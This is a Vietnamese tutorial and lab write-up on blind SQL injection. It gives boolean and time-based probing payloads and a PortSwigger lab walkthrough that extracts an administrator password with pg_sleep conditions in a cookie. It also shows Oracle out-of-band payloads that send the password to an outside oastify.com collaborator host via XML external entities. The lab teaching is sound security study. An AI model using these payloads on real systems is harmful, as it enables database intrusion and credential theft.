Blind SQL. Việc Đầu tiên thường làm là sẽ tìm chiều dài tên của database trước. Vì blind là mù nên không có biết kết quả trả về nên ta buộc phải sự dụng `boolean hoặc time-base` để xác định. `VD: id=2 and SELECT(Lenght(Database())) = 1` `id=2 and SELECT(Lenght(Database())) = 2` `id=2 and SELECT(Lenght(Database())) = 3` tiếp theo mình sẽ xác định tên database thông qua việc cắt từng kí tự chuỗi để so sách. `vd: id=2 and select(substring(database(),0,1)) = 'a'` `vd: id=2 and select(substring(database(),0,1)) = 'b'` ta có thể dùng tìm kiếm nhị phân bằng việc chuyển đổi sang bảng mã ASCII và thực hiện việc tìm kiếm nhị phân. ![image](https://hackmd.io/_uploads/Byeyfrg71l.png) Có thể sử dụng `MID` thay cho Substring `BETWEEN ... AND ... , REGEX[a-z]` thay cho toán tử so sánh ORACLE : `'+UNION+SELECT+BANNER,+NULL+FROM+v$version--` để lấy phiên bản data base để có thể lấy mutiple data ta có thể dùng `'+UNION+SELECT+NULL,username||'~'||password+FROM+users--` Mình sẽ thử 1 bài lab về dạng blind time-base khá hay ở port swigger `Lab: Blind SQL injection with time delays and information retrieval` Đầu tiên ta đọc đề `This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user. To solve the lab, log in as the administrator user.` có thể tóm tắt là bài lab này bị SQLi ở cookie và khi ta gửi request sẽ không trả lại bất cứ thông tin gì về câu truy vấn. `Cookie: TrackingId=Y99UI547MFBPUzHH` Ở đây mình có thể dự đoán câu truy vấn ở đây có thể như sau: `SELECT * FROM TrackedUsers WHERE TrackingId = 'MFu2HJA123Hj6sbcDK';` đầu tiên ta cần phải xác định ứng đụng web đang sử dụng database gì sau 1 thời gian recon mình đã tìm được công nghệ database đang dùng là `PostgreSQL` vì đây là dạng time-base nên giờ mình sẽ thử câu truy vấn `SELECT pg_sleep(10)` có hoặc động không với payload `Y99UI547MFBPUzHH'%3BSELECT pg_sleep(10) --` ở đây mình sử dụng `%3B có nghĩa là mình encode từ ;` vì đây là 1 header của request sau TrackingID còn Seession nên mình không thể dùng `;` sẽ làm cho server nhầm lần nên buộc phải sử dụng URL encode. Thì sau khi mình chạy bổng thấy server ngủ 10s rồi mới trả về respone. Giờ mình chỉ câu thêm câu truy vấn time-base có điều kiện để khai thác thôi. Giờ cần phải xác định thêm chiều dài của biến password bằng cách sử dụng `LENGTH(password)=1` và tăng dần để xác định và mình tìm được là 20 payload : `'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--` Giờ mình chỉ cần việc xác định từng kí tự của password với username=adminstrator payload `'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- ` ở đây mình sử dụng intruder để chạy số thứ tự của kí tự trong password như mình đã xác định từ trước `1-20` và kí tự so sánh trong bảng chữ cái , số, và dấu `_` và mình tìm những request có time phản hồi 10s để xem kết quả. ![image](https://hackmd.io/_uploads/Sk6_XulQJg.png) ở đây chỉ việc mình ghép từng kí tự lại với nhau là sẽ có đáp án cuối cùng `password = z3zwxtwtsux57dmp4u37` Vậy ta có thể vào được tài khoản của `adminstrator` TIẾP THEO là 1 dạng cực kỳ hay đó là `DNS lookup with data exfiltration` Ta có thể gửi data ra bên ngoài với những payload kết nối với server khác `QU1TbY6pwDJtPcDY'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//wiixexdz8nob52lg7cex75ajoau1is6h.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--;` Cùng phân tích payload sau, ở đây mình sử dụng `Oracle` mình có thể truyền data ra bên ngoài bằng việc sử dụng hàm EXTRACTVALUE kết hợp với XMLTYPE trong Oracle để thực hiện một khai thác thông qua một external entity này giống như dạng XXE mình sử dụng enternal entity với `SYSTEM` và truyền sau đây với 1 url không kiểm soát, mình ở đây đã truyền 1 server khác bên ngoài như `Burp Cobaltor` Và bên kia cũng sẽ nhận được request. ![image](https://hackmd.io/_uploads/ryKkY_xXyx.png) vì thế mình có thể khai khác sql thông qua đây và để gửi data ra bên ngoài ví dụ có thể lấy password từ bảng users như sau: `tACIsPFrv0M22JXn'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.8py9l9kbfzvncesseol9ehhvvm1dpdd2.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--` ![image](https://hackmd.io/_uploads/r1_pqzfmkl.png) ở đây mình có thể thấy data được gán vào miền phụ vậy password của admin là : `bw8gznujn152ayk4xwfd`